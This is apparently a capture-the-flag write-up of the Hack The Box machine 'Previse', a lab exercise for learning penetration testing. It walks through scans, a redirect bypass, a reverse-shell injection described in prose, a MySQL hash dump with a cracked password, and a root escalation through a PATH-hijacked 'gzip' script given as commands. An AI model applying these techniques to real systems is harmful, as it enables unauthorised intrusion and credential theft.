Previse CTF – HTB
So this CTF is categorized as easy, but I would actually say that getting foothold was pretty hard. Once inside, its pretty straight forward enumeration and lateral movement if you’ve done enough information gathering.
Anyway, as always I like to start with an nmap scan to see what we’re working with.
# Nmap 7.92 scan initiated Sun Aug 29 19:30:42 2021 as: nmap -sC -sV -oN nmap.result 10.10.11.104 Nmap scan report for 10.10.11.104 Host is up (0.032s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-title: Previse Login |_Requested resource was login.php |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Aug 29 19:30:50 2021 -- 1 IP address (1 host up) scanned in 8.53 seconds
So port 80 and 22 is open. Navigating to the webserver, we’re prompted with a login page.
From here, I’ll look for hidde directories. I’ve normally used gobuster for this, but I found a good tool called feroxbuster which is pretty awesome. It allows us to choose recursive depth.
┌─[✗]─[root@ValgPC-0]─[/home/aghanim/Desktop/toolbox] └──╼ #./feroxbuster --url http://10.10.11.104 --depth 0 --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.3.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.11.104 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-1.0.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.3.2 💲 Extensions │ [php] 🔃 Recursion Depth │ INFINITE 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Cancel Menu™ ────────────────────────────────────────────────── 200 31l 60w 1248c http://10.10.11.104/nav.php 200 5l 14w 217c http://10.10.11.104/footer.php 302 71l 164w 2801c http://10.10.11.104/index.php 302 0l 0w 0c http://10.10.11.104/download.php 200 20l 64w 980c http://10.10.11.104/header.php 302 148l 371w 7240c http://10.10.11.104/files.php 200 53l 138w 2224c http://10.10.11.104/login.php 200 0l 0w 0c http://10.10.11.104/config.php 302 93l 238w 3994c http://10.10.11.104/accounts.php 302 74l 176w 2970c http://10.10.11.104/status.php 301 9l 28w 310c http://10.10.11.104/css 301 9l 28w 309c http://10.10.11.104/js 302 0l 0w 0c http://10.10.11.104/logout.php 302 71l 164w 2801c http://10.10.11.104/ 403 9l 28w 277c http://10.10.11.104/.php 302 0l 0w 0c http://10.10.11.104/logs.php [####################] - 4m 850164/850164 0s found:16 errors:0 [####################] - 3m 283388/283388 1270/s http://10.10.11.104 [####################] - 3m 283388/283388 1257/s http://10.10.11.104/css [####################] - 3m 283388/283388 1259/s http://10.10.11.104/js
So alot of intereseting directories. I’ll admit, I first tried to see if there was en local file inclusion vulnerability in config.php but that was a dead end. Figured that out after a couple of hours.
Anyway, so turning to my favorite web application vulnerability tool, burpsuite, I’ll intercept some request and see what I find. To spare you of all the time I’ve spent enumerating, we’ll jump to the answers. Navigating to /nav.php there is an option for creating a user. Clicking that link redirect you back to the login page. In reality, there is a bug where you can change the HTTP status code to 200 OK and get the page.
So what we’ve done is intercepting the response, changing the HTTP status code from 302 to 200 and we’re presented with a page that allows us to create an account.
Inside the website we are presented with this:
Enumerating the website we find a file called SITEBACKUP.ZIP, which we downloaded.
The intereseting take from all those files was the config.php, the file I tried to use LFI on which didnt work. Inside that file is the MySQL credentials.
We’ll save that for later.
Next, we’ll try to get a reverse shell. In website, we’re able to upload files. So of course I try to upload a php reverse shell, but as it turns out, there is no way to execute it on the website so that was a dead end. To get a reverse shell, was very tricky. Using burpsuite, we have to intercept REQUEST LOG DATA and add a reverse shell in the request we send to the website.
Send this POST request, while netcat listens on port 4444 gives us a reverse shell.
We stabilize the reverse shell with python, so we can create an interactive shell to be able to talk to MySQL. Having a non-interactive shell, its not possbile to interact with MySQL.
python -c 'import pty;pty.spawn("/bin/bash")'
Logging into MySQL we can extract the account info with password hash with salt for user m4lwhere. The user.txt file is in m4lwheres home directory, which is why we will have to crack his password to open the user.txt file.
mysql> select * from accounts; select * from accounts; +----+----------+------------------------------------+---------------------+ | id | username | password | created_at | +----+----------+------------------------------------+---------------------+ | 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 | | 2 | Test99 | $1$🧂llol$yttO4pjhP8x08DQkCHLHA0 | 2021-09-06 15:56:24 | | 3 | bouba | $1$🧂llol$ohg/X7LWFOCE.xKgo2oeF. | 2021-09-06 15:57:30 | | 4 | deneme | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-09-06 16:07:46 | | 5 | test1234 | $1$🧂llol$aLZZSO/HJpNblx60oCbyl0 | 2021-09-06 17:50:35 | | 6 | Antoine | $1$🧂llol$V3rOtBmAyaOluecPqAdJT0 | 2021-09-06 19:47:31 | | 7 | admin | $1$🧂llol$DJ6ZVzF0zBGjTIV/GTvOf/ | 2021-09-06 19:54:37 | +----+----------+------------------------------------+---------------------+ 7 rows in set (0.00 sec)
I tried using hashcat at first, but didnt get it to work, so I turned to john the ripper. First we have to identify what type of hash this is. From the hashcat example hash we find out this is is a md5crypt hash. Using john –format=list we can list allf of johns hash formats.
I spent some time here trying out different hashes, but the correct hash is md5crypt-long. Running that against rockyou.txt will crack the hash and we’ll get the password for m4lwhere.
┌─[root@ValgPC-0]─[/home/aghanim/Desktop/previse] └──╼ #john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt pass Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:09 1.49% (ETA: 22:52:23) 0g/s 27979p/s 27979c/s 27979C/s 821987..820509 0g 0:00:00:19 3.21% (ETA: 22:52:12) 0g/s 28027p/s 28027c/s 28027C/s attucks..atletica 0g 0:00:00:22 3.71% (ETA: 22:52:14) 0g/s 27918p/s 27918c/s 27918C/s mithrill..mitch4eva 0g 0:00:01:45 16.78% (ETA: 22:52:46) 0g/s 25006p/s 25006c/s 25006C/s yas4rva..yas1994 0g 0:00:03:34 35.51% (ETA: 22:52:23) 0g/s 24459p/s 24459c/s 24459C/s nabil8493..nabil0925 ilovecody112235! (?) 1g 0:00:05:01 DONE (2021-09-06 22:47) 0.003317g/s 24591p/s 24591c/s 24591C/s ilovecodydean..ilovecody.. Use the "--show" option to display all of the cracked passwords reliably Session completed
So from here we can either SSH in to m4lwhere or just su – m4lwhere, and get the user.txt.
Privilege escalation
So first thing first, we’ll look at what kind of sudo commands this user can run.
m4lwhere@previse:~$ sudo -l sudo -l [sudo] password for m4lwhere: User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.sh m4lwhere@previse:~$
We can run a script called access_backup.sh as root. Interesting. Cat’ing that file we can see that its a script for zipping logs and storing them sorted by date.
m4lwhere@previse:/opt/scripts$ cat access_backup.sh cat access_backup.sh #!/bin/bash # We always make sure to store logs, we take security SERIOUSLY here # I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz m4lwhere@previse:/opt/scripts$
So what we’re going to do to get root is exploiting PATH variable. That means when we execute the script, it will run our own gzip custom executable.
1. cd to /tmp 2. echo "/bin/bash -i" > gzip 3. chmod +x gzip 4. export PATH=/tmp:$PATH
Looking at m4lwheres $PATH we can see that our /tmp is added.
m4lwhere@previse:/tmp$ echo $PATH echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Now, running the script as sudo again will give us a root shell.
Ok for some reason, I couldnt output any commands. I dont know if I did anything wrong, or what, but I know that I was root.
root@previse:/tmp# whoami whoami root@previse:/root# cat root.txt root.txt
In order to read the root.txt I just started a simple HTTP server on the target, and downloaded it on my attacking machine. Probably not the right way, but it worked nonetheless.
All in all, pretty fun box. Even though it was hard to get foothold and the problem with root user not outputting commands.